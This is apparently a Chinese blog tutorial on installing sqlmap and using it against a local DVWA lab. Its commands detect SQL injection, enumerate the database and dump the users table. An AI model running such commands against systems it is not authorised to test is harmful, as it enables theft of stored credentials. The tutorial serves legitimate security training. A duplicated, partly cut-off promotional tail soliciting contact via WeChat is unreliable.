sqlmap的安装及使用教程_sqlmap安装使用教程(1)，网络安全面试题2024中高级

如果你的电脑除了安装了python2.7外还安装了其他版本，由于sqlmap不支持3以上版本，为了正常使用避免冲突，有两种方法：

1. 将python2.7的两个环境变量上移到python3.9的两个环境变量的上面，如我上图所示。这样使用python xxx命令时会优先使用python2.7，而不是其他版本；
2. 打开python的安装目录，将python.exe和pythonw.exe文件分别重命名为python2.exe和pythonw2.exe，这样我们可以使用python2 xxx来执行python2.7。同理你也可以进入python3.x的目录将python.exe pythonw.exe 重命名为python3.exe pythonw3.exe，这样可以通过python3 xxx来执行python3.x。推荐使用这种方法。

2.2 sqlmap的安装

sqlmap官方下载地址：sqlmap：自动SQL注入和数据库接管工具

下载压缩包，并解压到python2.7的目录下

进入sqlmap文件夹，在此文件夹中打开控制台（可以在上方地址栏输入cmd回车快速打开）

输入命令python2 sqlmap.py或者python2 sqlmap.py -h检验是否成功，出现如图所示界面就代表成功了。

每次运行sqlmap时，都要进入到目录中打开cmd，比较麻烦，因此我们可以配置一种快捷的方式去打开。我们可以配置一个批处理文件或者一个快捷方式去打开，这里介绍配置一个快捷方式。

在桌面新建一个快捷方式，对象位置输入cmd，点击下一步，给这个快捷方式取一个名称，我们可以取名叫sqlmap，点击完成。然后右键这个快捷方式，点击属性，将起始位置改为你的sqlmap目录，点击确定。

然后我们打开快捷方式，就直接进入到sqlmap目录下了，直接输入python2 sqlmap.py就可以运行了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OMFjB45Y-1690533970055)(https://tuuli-note-image.oss-cn-guangzhou.aliyuncs.com/img/202307280225512.png)]

3. sqlmap的简单使用

我们可以在本地搭建一个靶场，用于进行我们的sql注入测试，这里使用了DVWA靶场，DVWA是一个开源的支持多种攻击方式的靶场，搭建教程可以查看本人的另外一个教程：搭建本地DVWA靶场教程 及 靶场使用实例 - tuuli241

1. GET注入

使用-u参数后面接url，url中的参数使用?拼接

python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit"

​ 在运行时会有一些选项让我们选择Y/N，可以直接回车或者按推荐的进行选择（大写字母的即为推荐的）。

​ 如运行后出现了以下选项：

​ 第一次选项提示我们，已经找到了当前数据库为mysql，是否跳过检测其他数据库；

​ 第二次选项提示我们，在“ level 、riskl ”的情况下，是否使用 MySQL 对应的所有 payload 进行检测；

​ 第三次选项提示我们，已经找到了参数id存在注入漏洞，是否继续检测其它参数。

​ 运行后我们可以看到id这个参数存在sql注入漏洞

2. POST注入

post注入与get注入同理，我们只需要在后面使用--data=" "来写post参数即可，如

python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli" --data="id=1"

3. 查询当前使用的数据库名称

python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit" --current-db

4. 查询所有数据表

使用-D "xx"参数来指定数据库，使用--tables参数来查询数据表

python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit" -D "dvwa" --tables

5. 查询表中数据

使用-T "xx"来指定表名，使用--dump来查询当前条件下的所有数据，也可以不指定表名，只指定数据库，这样可以查询出该数据库下所有表的所有数据。

python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit" -D "dvwa" -T "users" --dump



**自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。**

**深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！**

**因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/d57a2cc5fba6142cbb33dd62aea748c7.png)
![img](https://img-blog.csdnimg.cn/img_convert/f9c7d7f53389c61c07de5d094a5d8a78.png)
![img](https://img-blog.csdnimg.cn/img_convert/5fc20f459fa818cd7b5eeb6e7444098c.png)
![img](https://img-blog.csdnimg.cn/img_convert/a825d8d936a40d91b53f9763fce6de8c.png)
![img](https://img-blog.csdnimg.cn/img_convert/654e8da240f729956fdbca02de34b61b.png)
![img](https://img-blog.csdnimg.cn/img_convert/113d185e32ade5ed43bc946f6e629642.png)

**既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！**

**由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新**

**如果你觉得这些内容对你有帮助，可以添加VX：vip204888 （备注网络安全获取）**
![img](https://img-blog.csdnimg.cn/img_convert/3b8e43cc7ddc745b93bd011109500f90.png)




还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！


王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。


对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！


【完整版领取方式在文末！！】


***93道网络安全面试题***


![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)








![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)





![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)





内容实在太多，不一一截图了


### 黑客学习资源推荐


最后给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！


对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。


😝朋友们如果有需要的话，可以联系领取~

#### 1️⃣零基础入门


##### ① 学习路线


对于从来没有接触过网络安全的同学，我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**，大家跟着这个大的方向学习准没问题。


![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)


##### ② 路线对应学习视频


同时每个成长路线对应的板块都有配套的视频提供：


![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)


#### 2️⃣视频配套工具&国内外网安书籍、文档


##### ① 工具


![](https://img-blog.csdnimg.cn/img_convert/d3f08d9a26927e48b1332a38401b3369.png#pic_center)


##### ② 视频


![image1](https://img-blog.csdnimg.cn/img_convert/f18acc028dc224b7ace77f2e260ba222.png#pic_center)


##### ③ 书籍


![image2](https://img-blog.csdnimg.cn/img_convert/769b7e13b39771b3a6e4397753dab12e.png#pic_center)

资源较为敏感，未展示全面，需要的最下面获取

![在这里插入图片描述](https://img-blog.csdnimg.cn/e4f9ac066e8c485f8407a99619f9c5b5.png#pic_center)![在这里插入图片描述](https://img-blog.csdnimg.cn/111f5462e7df433b981dc2430bb9ad39.png#pic_center)


##### ② 简历模板


![在这里插入图片描述](https://img-blog.csdnimg.cn/504b8be96bfa4dfb8befc2af49aabfa2.png#pic_center)

 **因篇幅有限，资料较为敏感仅展示部分资料，添加上方即可获取👆**

  





**一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**
![img](https://img-blog.csdnimg.cn/img_convert/2fcf013693aad49d9c42a03890735178.png)

g-blog.csdnimg.cn/504b8be96bfa4dfb8befc2af49aabfa2.png#pic_center)

 **因篇幅有限，资料较为敏感仅展示部分资料，添加上方即可获取👆**

  





**一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**
[外链图片转存中...(img-udHoiiwL-1713023032990)]